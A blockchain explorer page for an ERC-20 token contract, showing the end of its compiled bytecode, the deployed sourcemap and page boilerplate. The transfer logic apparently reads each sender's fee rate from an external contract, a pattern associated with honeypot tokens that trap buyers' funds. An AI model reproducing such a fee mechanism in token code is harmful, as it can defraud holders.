81526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0990611863565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c77906118f1565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610d5a91906113b1565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d9e575f80fd5b5f8111610da9575f80fd5b5f8073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de1575f80fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610e4d57600d5f815480929190610e479061193c565b91905055505b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610ed657503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15610f7b5760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff1660e01b8152600401610f359190611488565b602060405180830381865afa158015610f50573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f749190611983565b9050610f81565b600b5490505b611008610faa6064610f9c848661116b90919063ffffffff16565b6111ab90919063ffffffff16565b610ffa8460055f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546111d090919063ffffffff16565b61114590919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110998260055f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461114590919063ffffffff16565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161113791906113b1565b60405180910390a350505050565b5f82821115611152575f80fd5b5f828461115f91906119ae565b90508091505092915050565b5f80830361117b575f90506111a5565b5f828461118891906119e1565b90508284826111979190611a4f565b146111a0575f80fd5b809150505b92915050565b5f8082116111b7575f80fd5b5f82846111c49190611a4f565b90508091505092915050565b5f8082846111de9190611a7f565b9050838110156111ec575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561122d578082015181840152602081019050611212565b5f8484015250505050565b5f601f19601f8301169050919050565b5f611252826111f6565b61125c8185611200565b935061126c818560208601611210565b61127581611238565b840191505092915050565b5f6020820190508181035f8301526112988184611248565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112cd826112a4565b9050919050565b6112dd816112c3565b81146112e7575f80fd5b50565b5f813590506112f8816112d4565b92915050565b5f819050919050565b611310816112fe565b811461131a575f80fd5b50565b5f8135905061132b81611307565b92915050565b5f8060408385031215611347576113466112a0565b5b5f611354858286016112ea565b92505060206113658582860161131d565b9150509250929050565b5f8115159050919050565b6113838161136f565b82525050565b5f60208201905061139c5f83018461137a565b92915050565b6113ab816112fe565b82525050565b5f6020820190506113c45f8301846113a2565b92915050565b5f805f606084860312156113e1576113e06112a0565b5b5f6113ee868287016112ea565b93505060206113ff868287016112ea565b92505060406114108682870161131d565b9150509250925092565b5f60ff82169050919050565b61142f8161141a565b82525050565b5f6020820190506114485f830184611426565b92915050565b5f60208284031215611463576114626112a0565b5b5f611470848285016112ea565b91505092915050565b611482816112c3565b82525050565b5f60208201905061149b5f830184611479565b92915050565b5f80604083850312156114b7576114b66112a0565b5b5f6114c4858286016112ea565b92505060206114d5858286016112ea565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061152357607f821691505b602082108103611536576115356114df565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611570602083611200565b915061157b8261153c565b602082019050919050565b5f6020820190508181035f83015261159d81611564565b9050919050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f6115d8601783611200565b91506115e3826115a4565b602082019050919050565b5f6020820190508181035f830152611605816115cc565b9050919050565b5f8151905061161a816112d4565b92915050565b5f60208284031215611635576116346112a0565b5b5f6116428482850161160c565b91505092915050565b5f60408201905061165e5f830185611479565b61166b6020830184611479565b9392505050565b5f819050919050565b5f819050919050565b5f61169e61169961169484611672565b61167b565b6112fe565b9050919050565b6116ae81611684565b82525050565b5f60c0820190506116c75f830189611479565b6116d460208301886113a2565b6116e160408301876116a5565b6116ee60608301866116a5565b6116fb6080830185611479565b61170860a08301846113a2565b979650505050505050565b5f8151905061172181611307565b92915050565b5f805f6060848603121561173e5761173d6112a0565b5b5f61174b86828701611713565b935050602061175c86828701611713565b925050604061176d86828701611713565b9150509250925092565b5f60408201905061178a5f830185611479565b61179760208301846113a2565b9392505050565b6117a78161136f565b81146117b1575f80fd5b50565b5f815190506117c28161179e565b92915050565b5f602082840312156117dd576117dc6112a0565b5b5f6117ea848285016117b4565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61184d602483611200565b9150611858826117f3565b604082019050919050565b5f6020820190508181035f83015261187a81611841565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6118db602283611200565b91506118e682611881565b604082019050919050565b5f6020820190508181035f830152611908816118cf565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611946826112fe565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036119785761197761190f565b5b600182019050919050565b5f60208284031215611998576119976112a0565b5b5f6119a584828501611713565b91505092915050565b5f6119b8826112fe565b91506119c3836112fe565b92508282039050818111156119db576119da61190f565b5b92915050565b5f6119eb826112fe565b91506119f6836112fe565b9250828202611a04816112fe565b91508282048414831517611a1b57611a1a61190f565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611a59826112fe565b9150611a64836112fe565b925082611a7457611a73611a22565b5b828204905092915050565b5f611a89826112fe565b9150611a94836112fe565b9250828201905080821115611aac57611aab61190f565b5b9291505056fea264697066735822122040e140be506f0074627d86085c2d4a710b2aff1e5d922ab1f65f9180526c59a264736f6c63430008180033

Deployed Bytecode Sourcemap

2215:3874:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3286:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4291:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3685:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5159:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3472:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3567:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1973:148;;;;;;;;;;;;;:::i;:::-;;2129:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3377:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4127:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4591:560;;;:::i;:::-;;4449:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3286:83;3323:13;3356:5;3349:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3286:83;:::o;4291:150::-;4357:4;4374:37;4383:10;4395:7;4404:6;4374:8;:37::i;:::-;4429:4;4422:11;;4291:150;;;;:::o;3685:91::-;3729:7;3756:12;;3749:19;;3685:91;:::o;5159:256::-;5248:4;5265:36;5275:6;5283:9;5294:6;5265:9;:36::i;:::-;5312:73;5321:6;5329:10;5341:43;5377:6;5341:11;:19;5353:6;5341:19;;;;;;;;;;;;;;;:31;5361:10;5341:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;5312:8;:73::i;:::-;5403:4;5396:11;;5159:256;;;;;:::o;3472:83::-;3513:5;3538:9;;;;;;;;;;;3531:16;;3472:83;:::o;3567:110::-;3624:7;3651:9;:18;3661:7;3651:18;;;;;;;;;;;;;;;;3644:25;;3567:110;;;:::o;1973:148::-;1898:10;1888:20;;:6;;;;;;;;;;:20;;;1880:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;2080:1:::1;2043:40;;2064:6;::::0;::::1;;;;;;;;2043:40;;;;;;;;;;;;2111:1;2094:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;1973:148::o:0;2129:79::-;2167:7;2194:6;;;;;;;;;;;2187:13;;2129:79;:::o;3377:87::-;3416:13;3449:7;3442:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3377:87;:::o;4127:156::-;4196:4;4213:40;4223:10;4235:9;4246:6;4213:9;:40::i;:::-;4271:4;4264:11;;4127:156;;;;:::o;4591:560::-;1898:10;1888:20;;:6;;;;;;;;;;:20;;;1880:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;4663:14:::1;;;;;;;;;;;4662:15;4654:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;4716:63;4733:4;4748:15;;;;;;;;;;;4766:12;;4716:8;:63::i;:::-;4824:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4806:55;;;4870:4;4877:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4806:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;4790:13;;:110;;;;;;;;;;;;;;;;;;4911:15;;;;;;;;;;;:31;;;4950:9;4969:4;4975:24;4993:4;4975:9;:24::i;:::-;5001:1;5003::::0;5005:7:::1;:5;:7::i;:::-;5013:15;4911:118;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;5047:13;;;;;;;;;;;5040:29;;;5078:15;;;;;;;;;;;5096:14;5040:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5139:4;5122:14;;:21;;;;;;;;;;;;;;;;;;4591:560::o:0;4449:134::-;4521:7;4548:11;:18;4560:5;4548:18;;;;;;;;;;;;;;;:27;4567:7;4548:27;;;;;;;;;;;;;;;;4541:34;;4449:134;;;;:::o;3784:335::-;3894:1;3877:19;;:5;:19;;;3869:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3975:1;3956:21;;:7;:21;;;3948:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4057:6;4027:11;:18;4039:5;4027:18;;;;;;;;;;;;;;;:27;4046:7;4027:27;;;;;;;;;;;;;;;:36;;;;4095:7;4079:32;;4088:5;4079:32;;;4104:6;4079:32;;;;;;:::i;:::-;;;;;;;;3784:335;;;:::o;5423:663::-;5527:1;5511:18;;:4;:18;;;5503:27;;;;;;5558:1;5549:6;:10;5541:19;;;;;;5571:17;5625:1;5611:16;;:2;:16;;;5603:25;;;;;;5651:13;;;;;;;;;;;5643:21;;:4;:21;;;5639:63;;5682:5;;:8;;;;;;;;;:::i;:::-;;;;;;5639:63;5724:13;;;;;;;;;;;5716:21;;:4;:21;;;;:46;;;;;5757:4;5741:21;;:4;:21;;;;5716:46;5712:181;;;5798:12;;;;;;;;;;;5791:30;;;5822:4;5791:36;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5779:48;;5712:181;;;5872:9;;5860:21;;5712:181;5919:61;5949:30;5975:3;5949:21;5960:9;5949:6;:10;;:21;;;;:::i;:::-;:25;;:30;;;;:::i;:::-;5919:25;5937:6;5919:9;:13;5929:2;5919:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:61;;;;:::i;:::-;5903:9;:13;5913:2;5903:13;;;;;;;;;;;;;;;:77;;;;6009:27;6029:6;6009:9;:15;6019:4;6009:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;5991:9;:15;6001:4;5991:15;;;;;;;;;;;;;;;:45;;;;6067:2;6052:26;;6061:4;6052:26;;;6071:6;6052:26;;;;;;:::i;:::-;;;;;;;;5492:594;5423:663;;;:::o;836:148::-;894:7;927:1;922;:6;;914:15;;;;;;940:9;956:1;952;:5;;;;:::i;:::-;940:17;;975:1;968:8;;;836:148;;;;:::o;487:185::-;545:7;574:1;569;:6;565:23;;585:1;578:8;;;;565:23;598:9;614:1;610;:5;;;;:::i;:::-;598:17;;643:1;638;634;:5;;;;:::i;:::-;:10;626:19;;;;;;663:1;656:8;;;487:185;;;;;:::o;992:147::-;1050:7;1082:1;1078;:5;1070:14;;;;;;1095:9;1111:1;1107;:5;;;;:::i;:::-;1095:17;;1130:1;1123:8;;;992:147;;;;:::o;680:148::-;738:7;758:9;774:1;770;:5;;;;:::i;:::-;758:17;;799:1;794;:6;;786:15;;;;;;819:1;812:8;;;680:148;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:182::-;6672:34;6668:1;6660:6;6656:14;6649:58;6532:182;:::o;6720:366::-;6862:3;6883:67;6947:2;6942:3;6883:67;:::i;:::-;6876:74;;6959:93;7048:3;6959:93;:::i;:::-;7077:2;7072:3;7068:12;7061:19;;6720:366;;;:::o;7092:419::-;7258:4;7296:2;7285:9;7281:18;7273:26;;7345:9;7339:4;7335:20;7331:1;7320:9;7316:17;7309:47;7373:131;7499:4;7373:131;:::i;:::-;7365:139;;7092:419;;;:::o;7517:173::-;7657:25;7653:1;7645:6;7641:14;7634:49;7517:173;:::o;7696:366::-;7838:3;7859:67;7923:2;7918:3;7859:67;:::i;:::-;7852:74;;7935:93;8024:3;7935:93;:::i;:::-;8053:2;8048:3;8044:12;8037:19;;7696:366;;;:::o;8068:419::-;8234:4;8272:2;8261:9;8257:18;8249:26;;8321:9;8315:4;8311:20;8307:1;8296:9;8292:17;8285:47;8349:131;8475:4;8349:131;:::i;:::-;8341:139;;8068:419;;;:::o;8493:143::-;8550:5;8581:6;8575:13;8566:22;;8597:33;8624:5;8597:33;:::i;:::-;8493:143;;;;:::o;8642:351::-;8712:6;8761:2;8749:9;8740:7;8736:23;8732:32;8729:119;;;8767:79;;:::i;:::-;8729:119;8887:1;8912:64;8968:7;8959:6;8948:9;8944:22;8912:64;:::i;:::-;8902:74;;8858:128;8642:351;;;;:::o;8999:332::-;9120:4;9158:2;9147:9;9143:18;9135:26;;9171:71;9239:1;9228:9;9224:17;9215:6;9171:71;:::i;:::-;9252:72;9320:2;9309:9;9305:18;9296:6;9252:72;:::i;:::-;8999:332;;;;;:::o;9337:85::-;9382:7;9411:5;9400:16;;9337:85;;;:::o;9428:60::-;9456:3;9477:5;9470:12;;9428:60;;;:::o;9494:158::-;9552:9;9585:61;9603:42;9612:32;9638:5;9612:32;:::i;:::-;9603:42;:::i;:::-;9585:61;:::i;:::-;9572:74;;9494:158;;;:::o;9658:147::-;9753:45;9792:5;9753:45;:::i;:::-;9748:3;9741:58;9658:147;;:::o;9811:807::-;10060:4;10098:3;10087:9;10083:19;10075:27;;10112:71;10180:1;10169:9;10165:17;10156:6;10112:71;:::i;:::-;10193:72;10261:2;10250:9;10246:18;10237:6;10193:72;:::i;:::-;10275:80;10351:2;10340:9;10336:18;10327:6;10275:80;:::i;:::-;10365;10441:2;10430:9;10426:18;10417:6;10365:80;:::i;:::-;10455:73;10523:3;10512:9;10508:19;10499:6;10455:73;:::i;:::-;10538;10606:3;10595:9;10591:19;10582:6;10538:73;:::i;:::-;9811:807;;;;;;;;;:::o;10624:143::-;10681:5;10712:6;10706:13;10697:22;;10728:33;10755:5;10728:33;:::i;:::-;10624:143;;;;:::o;10773:663::-;10861:6;10869;10877;10926:2;10914:9;10905:7;10901:23;10897:32;10894:119;;;10932:79;;:::i;:::-;10894:119;11052:1;11077:64;11133:7;11124:6;11113:9;11109:22;11077:64;:::i;:::-;11067:74;;11023:128;11190:2;11216:64;11272:7;11263:6;11252:9;11248:22;11216:64;:::i;:::-;11206:74;;11161:129;11329:2;11355:64;11411:7;11402:6;11391:9;11387:22;11355:64;:::i;:::-;11345:74;;11300:129;10773:663;;;;;:::o;11442:332::-;11563:4;11601:2;11590:9;11586:18;11578:26;;11614:71;11682:1;11671:9;11667:17;11658:6;11614:71;:::i;:::-;11695:72;11763:2;11752:9;11748:18;11739:6;11695:72;:::i;:::-;11442:332;;;;;:::o;11780:116::-;11850:21;11865:5;11850:21;:::i;:::-;11843:5;11840:32;11830:60;;11886:1;11883;11876:12;11830:60;11780:116;:::o;11902:137::-;11956:5;11987:6;11981:13;11972:22;;12003:30;12027:5;12003:30;:::i;:::-;11902:137;;;;:::o;12045:345::-;12112:6;12161:2;12149:9;12140:7;12136:23;12132:32;12129:119;;;12167:79;;:::i;:::-;12129:119;12287:1;12312:61;12365:7;12356:6;12345:9;12341:22;12312:61;:::i;:::-;12302:71;;12258:125;12045:345;;;;:::o;12396:223::-;12536:34;12532:1;12524:6;12520:14;12513:58;12605:6;12600:2;12592:6;12588:15;12581:31;12396:223;:::o;12625:366::-;12767:3;12788:67;12852:2;12847:3;12788:67;:::i;:::-;12781:74;;12864:93;12953:3;12864:93;:::i;:::-;12982:2;12977:3;12973:12;12966:19;;12625:366;;;:::o;12997:419::-;13163:4;13201:2;13190:9;13186:18;13178:26;;13250:9;13244:4;13240:20;13236:1;13225:9;13221:17;13214:47;13278:131;13404:4;13278:131;:::i;:::-;13270:139;;12997:419;;;:::o;13422:221::-;13562:34;13558:1;13550:6;13546:14;13539:58;13631:4;13626:2;13618:6;13614:15;13607:29;13422:221;:::o;13649:366::-;13791:3;13812:67;13876:2;13871:3;13812:67;:::i;:::-;13805:74;;13888:93;13977:3;13888:93;:::i;:::-;14006:2;14001:3;13997:12;13990:19;;13649:366;;;:::o;14021:419::-;14187:4;14225:2;14214:9;14210:18;14202:26;;14274:9;14268:4;14264:20;14260:1;14249:9;14245:17;14238:47;14302:131;14428:4;14302:131;:::i;:::-;14294:139;;14021:419;;;:::o;14446:180::-;14494:77;14491:1;14484:88;14591:4;14588:1;14581:15;14615:4;14612:1;14605:15;14632:233;14671:3;14694:24;14712:5;14694:24;:::i;:::-;14685:33;;14740:66;14733:5;14730:77;14727:103;;14810:18;;:::i;:::-;14727:103;14857:1;14850:5;14846:13;14839:20;;14632:233;;;:::o;14871:351::-;14941:6;14990:2;14978:9;14969:7;14965:23;14961:32;14958:119;;;14996:79;;:::i;:::-;14958:119;15116:1;15141:64;15197:7;15188:6;15177:9;15173:22;15141:64;:::i;:::-;15131:74;;15087:128;14871:351;;;;:::o;15228:194::-;15268:4;15288:20;15306:1;15288:20;:::i;:::-;15283:25;;15322:20;15340:1;15322:20;:::i;:::-;15317:25;;15366:1;15363;15359:9;15351:17;;15390:1;15384:4;15381:11;15378:37;;;15395:18;;:::i;:::-;15378:37;15228:194;;;;:::o;15428:410::-;15468:7;15491:20;15509:1;15491:20;:::i;:::-;15486:25;;15525:20;15543:1;15525:20;:::i;:::-;15520:25;;15580:1;15577;15573:9;15602:30;15620:11;15602:30;:::i;:::-;15591:41;;15781:1;15772:7;15768:15;15765:1;15762:22;15742:1;15735:9;15715:83;15692:139;;15811:18;;:::i;:::-;15692:139;15476:362;15428:410;;;;:::o;15844:180::-;15892:77;15889:1;15882:88;15989:4;15986:1;15979:15;16013:4;16010:1;16003:15;16030:185;16070:1;16087:20;16105:1;16087:20;:::i;:::-;16082:25;;16121:20;16139:1;16121:20;:::i;:::-;16116:25;;16160:1;16150:35;;16165:18;;:::i;:::-;16150:35;16207:1;16204;16200:9;16195:14;;16030:185;;;;:::o;16221:191::-;16261:3;16280:20;16298:1;16280:20;:::i;:::-;16275:25;;16314:20;16332:1;16314:20;:::i;:::-;16309:25;;16357:1;16354;16350:9;16343:16;;16378:3;16375:1;16372:10;16369:36;;;16385:18;;:::i;:::-;16369:36;16221:191;;;;:::o

Swarm Source

ipfs://40e140be506f0074627d86085c2d4a710b2aff1e5d922ab1f65f9180526c59a2
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.